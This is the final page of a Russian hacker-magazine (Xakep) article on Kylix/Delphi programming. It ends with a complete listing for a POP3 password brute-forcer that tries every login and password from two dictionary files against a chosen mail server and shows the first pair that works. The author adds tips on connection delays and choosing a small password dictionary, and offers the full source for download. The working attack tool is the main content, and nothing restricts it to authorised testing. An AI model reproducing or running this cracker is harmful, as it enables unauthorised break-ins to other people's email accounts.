Kylix. Против лома нет приема

Xakep, номер #039, стр. 039-073-3


Теперь все в твоих руках. Можешь доработать этот пример по своему усмотрению, добавив в него возможность паузы и продолжения. Можешь вставить задержку между попытками коннекта в пару секунд, что увеличит общее время перебора, зато исключит вероятность вылета по time-out.

И последний совет: заведи себе хороший словарь паролей из 100-200 слов и используй его. Если не подойдет, то лучше забудь, потому что перебор всех вариантов может забрать месяцы и более.

Дополнительную инфу, как всегда, можно найти на моем сайте www.cydsoft.com/vr-online. Там же после выхода этого номера журнала будут лежать исходники моего брутфорса. Так что если возникнут проблемы, то качай их.

ЛИСТИНГ

procedure TForm1.Button1Click(Sender: TObject);

var

LoginStrings, PassStrings:TStrings;

i, j:Integer;

begin

//Создаю массивы строк.

LoginStrings:=TStringList.Create;

PassStrings:=TStringList.Create;

//Загружаю варианты справочники имен и паролей.

LoginStrings.LoadFromFile(NameEdit.Text);

PassStrings.LoadFromFile(PassEdit.Text);

//Устанавливаю адрес и порт сервера.

IdPOP.Host := ServerNameEdit.Text;

IdPOP.Port := StrToInt(PortEdit.Text);

//Начинаю перебор.

for i:=0 to LoginStrings.Count-1 do

for j:=0 to PassStrings.Count-1 do

begin

//Передаю имя и пароль компоненту.

IdPOP.UserID := LoginStrings.Strings[i];

IdPOP.Password := PassStrings.Strings[j];

//Попытка соединения.

try

IdPOP.Connect;

except

end;

//Если соединение установлено, то вывести об этом сообщение

if IdPOP.Connected then

begin

//Показать найденный пароль.

Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+

' Пароль:'+PassStrings.Strings[j]), 'Пароль найден');

IdPOP.Disconnect;

Exit;

end;

end;

//Уничтожаю массивы строк

LoginStrings.Free

PassStrings.Free;

end;

Назад на стр. 039-073-2  Содержание